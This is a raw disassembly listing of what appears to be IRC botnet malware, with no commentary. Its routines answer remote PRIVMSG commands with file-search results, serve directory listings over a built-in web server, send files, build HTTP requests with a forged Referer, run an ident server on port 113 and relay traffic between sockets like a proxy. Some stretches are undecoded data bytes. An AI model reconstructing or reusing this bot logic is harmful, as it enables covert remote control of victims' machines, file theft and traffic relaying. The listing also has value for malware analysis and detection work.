call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9C9
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC8
; ---------------------------------------------------------------------------
loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAE
call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC8
; ---------------------------------------------------------------------------
loc_40FAAE: ; CODE XREF: sub_40F96A+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj
; sub_40F96A+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
cmp [ebp+arg_C], ebx
jz short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB14
loc_40FB08: ; CODE XREF: sub_40F96A+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB14
dec eax
jnz short loc_40FB08
loc_40FB14: ; CODE XREF: sub_40F96A+19Cj
; sub_40F96A+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
loc_40FB63: ; CODE XREF: sub_40F96A+180j
; sub_40F96A+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call near ptr 2760000h
nop
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2910000h
test eax, eax
jz loc_40FF53
mov edi, 1FFh
loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2900000h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 28F09B1h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC04
mov ecx, offset aAm ; "AM"
loc_40FC04: ; CODE XREF: sub_40F96A+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC10
sub eax, 0Ch
loc_40FC10: ; CODE XREF: sub_40F96A+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB3
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC84
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFC
; ---------------------------------------------------------------------------
loc_40FC84: ; CODE XREF: sub_40F96A+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD24
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD29
; ---------------------------------------------------------------------------
loc_40FD24: ; CODE XREF: sub_40F96A+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD29: ; CODE XREF: sub_40F96A+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF2
push ebx
push [ebp+var_368]
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDE: ; CODE XREF: sub_40F96A+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE6
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429A94
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE92
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE97
; ---------------------------------------------------------------------------
loc_40FE92: ; CODE XREF: sub_40F96A+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE97: ; CODE XREF: sub_40F96A+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDE
; ---------------------------------------------------------------------------
loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFC: ; CODE XREF: sub_40F96A+315j
push esi
loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0C: ; CODE XREF: sub_40F96A+444j
; sub_40F96A+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
cmp [ebp+arg_8], ebx
jz short loc_40FF3B
push 7D0h
nop
call near ptr 2820566h
loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj
; sub_40F96A+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call near ptr 2910000h
nop
test eax, eax
jnz loc_40FB8F
loc_40FF53: ; CODE XREF: sub_40F96A+21Aj
push [ebp+arg_0]
call near ptr 28F0000h
nop
cmp [ebp+arg_8], ebx
jz short loc_40FF96
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: sub_40F96A+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB0
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj
; sub_40F96A+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB674
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 28B0703h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A8
push esi
push ebx
nop
call near ptr 28E0A73h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A1
loc_410035: ; CODE XREF: sub_40FFF0+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
cmp edi, [ebp+arg_4]
loc_41004D: ; DATA XREF: ___:004380F0o
; ___:00438104o
jbe short loc_410052
mov edi, [ebp+arg_4]
loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 2920000h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call near ptr 28B0000h
nop
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jnz short loc_41009C
call dword_4CB5B8
cmp eax, 2733h
jnz short loc_4100A1
xor eax, eax
loc_41009C: ; CODE XREF: sub_40FFF0+9Bj
sub [ebp+arg_4], eax
jnz short loc_410035
loc_4100A1: ; CODE XREF: sub_40FFF0+43j
; sub_40FFF0+A8j
push ebx
nop
call near ptr 28005AFh
loc_4100A8: ; CODE XREF: sub_40FFF0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF0 endp
; =============== S U B R O U T I N E =======================================
sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D6
loc_4100C0: ; CODE XREF: sub_4100AD+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CA
mov byte ptr [esi+edi], 2Fh
loc_4100CA: ; CODE XREF: sub_4100AD+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C0
loc_4100D6: ; CODE XREF: sub_4100AD+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB594
push 6
push 1
push 2
call dword_4CB6A4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB624
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAF9
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jz short loc_4101B8
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410154
mov eax, offset dword_43D7D8
loc_410154: ; CODE XREF: sub_4100DB+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CB674
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB63C
pop esi
loc_4101B8: ; CODE XREF: sub_4100DB+6Bj
push ebx
call dword_4CB6BC
call dword_4CB57C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B886
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_4101F8: ; CODE XREF: sub_4100DB+102j
pop edi
pop ebx
leave
retn
sub_4100DB endp
; ---------------------------------------------------------------------------
loc_4101FC: ; DATA XREF: ___:00401666o
; sub_401ACD+4369o
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB624
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CB6A4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410360
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E56C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CB650
cmp eax, 0FFFFFFFFh
jz loc_410360
push 5
push ebx
call dword_4CB64C
cmp eax, 0FFFFFFFFh
jz loc_410360
mov [ebp-0Ch], edi
mov edi, 200h
loc_410287: ; CODE XREF: ___:004102E6j
; ___:00410349j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035B
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB6B0
push eax
lea eax, [ebp-238h]
push offset dword_434654
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB63C
cmp eax, 0FFFFFFFFh
jz short loc_410287
lea eax, [ebp-238h]
push esi
push eax
call sub_417F7F
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08D
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jz loc_410287
mov dword ptr [ebp-8], 1
jmp loc_410287
; ---------------------------------------------------------------------------
loc_41035B: ; CODE XREF: ___:0041029Cj
cmp [ebp-8], esi
jnz short loc_410387
loc_410360: ; CODE XREF: ___:00410243j
; ___:00410267j ...
call dword_4CB5B8
push eax
lea eax, [ebp-238h]
push offset dword_434610
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 10h
loc_410387: ; CODE XREF: ___:0041035Ej
push ebx
call dword_4CB6BC
push dword ptr [ebp-4]
call dword_4CB6BC
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push esi
nop
call near ptr 288097Dh
pop edi
pop esi
pop ebx
loc_4103AA: ; DATA XREF: sub_401ACD+613Bo
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB624
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410516
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E56C[ecx], eax
call dword_4CB534
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CB650
test eax, eax
jnz loc_410516
push 0Ah
push dword ptr [ebp+8]
call dword_4CB64C
test eax, eax
jnz loc_410516
loc_41045A: ; CODE XREF: ___:00410470j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB6B8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045A
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB6B0
push eax
lea eax, [ebp-350h]
push offset unk_4346BC
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F6
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E564[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053B
push esi
push esi
nop
; ---------------------------------------------------------------------------
dw 2FE8h
dd 8B024101h, 0C969C44Dh, 234h, 8189C63Bh, 43E574h, 75391374h
dd 63850FD0h, 6AFFFFFFh, 67E89032h, 0EB024100h, 40E890EDh
dd 500241FBh, 43468068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
jmp short loc_410519
; ---------------------------------------------------------------------------
loc_410516: ; CODE XREF: ___:0041040Dj
; ___:00410441j ...
mov edi, [ebp+8]
loc_410519: ; CODE XREF: ___:00410514j
push edi
call dword_4CB6BC
push dword ptr [ebp+8]
call dword_4CB6BC
push dword ptr [ebp-40h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 288097Dh
pop edi
pop esi
loc_41053B: ; DATA XREF: ___:004104CEo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CB6A4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F1
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB624
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CB664
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CB
lea eax, [ebp-13Ch]
push eax
call dword_4CB6A8
jmp short loc_4105D9
; ---------------------------------------------------------------------------
loc_4105CB: ; CODE XREF: ___:004105BAj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB5DC
loc_4105D9: ; CODE XREF: ___:004105C9j
cmp eax, edi
jz loc_4106F1
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jz loc_4106F1
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB6B0
push eax
lea eax, [ebp-344h]
push offset unk_434744
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F6
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E56C[ebx]
mov dword_43E564[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E570[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410722
push edi
push edi
nop
call near ptr 282060Ah
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E574[ecx], eax
jz short loc_4106DE
loc_41068B: ; CODE XREF: ___:00410698j
cmp [ebp-20h], edi
jnz short loc_41069A
push 32h
call near ptr 2820566h
nop
jmp short loc_41068B
; ---------------------------------------------------------------------------
loc_41069A: ; CODE XREF: ___:0041068Ej
mov ebx, 1000h
loc_41069F: ; CODE XREF: ___:004106DAj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB63C
cmp eax, edi
jle short loc_4106F1
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jnz short loc_41069F
jmp short loc_4106F1
; ---------------------------------------------------------------------------
loc_4106DE: ; CODE XREF: ___:00410689j
nop
call near ptr 2830047h
push eax
push offset unk_434704
call sub_415220
pop ecx
pop ecx
loc_4106F1: ; CODE XREF: ___:0041057Fj
; ___:004105DBj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E56C[eax]
call dword_4CB6BC
push dword ptr [ebp+8]
call dword_4CB6BC
push dword ptr [ebp-4]
call sub_40B412
pop ecx
push edi
call near ptr 288097Dh
nop
pop edi
pop esi
pop ebx
loc_410722: ; DATA XREF: ___:0041066Bo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410759: ; CODE XREF: ___:0041079Ej
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E570[esi]
call dword_4CB63C
test eax, eax
jle short loc_4107A0
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E56C[esi]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jnz short loc_410759
loc_4107A0: ; CODE XREF: ___:00410783j
push dword_43E570[esi]
call dword_4CB6BC
push dword ptr [ebp-14h]
call sub_40B412
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
dd 4701C0E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E56C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB60C
test eax, eax
jnz short loc_410843
push dword ptr [esi]
call dword_4CB6BC
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 288097Dh
loc_410843: ; CODE XREF: ___:00410829j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB63C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C4
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB578
test eax, eax
jz short loc_4108BC
call dword_4CB5B8
push eax
push offset unk_43481C
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push edi
call near ptr 288097Dh
nop
loc_4108BC: ; CODE XREF: ___:00410897j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB5DC
cmp eax, edi
jnz short loc_4108E6
push dword ptr [ebp-18h]
call dword_4CB6B0
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F4
; ---------------------------------------------------------------------------
loc_4108E6: ; CODE XREF: ___:004108CCj
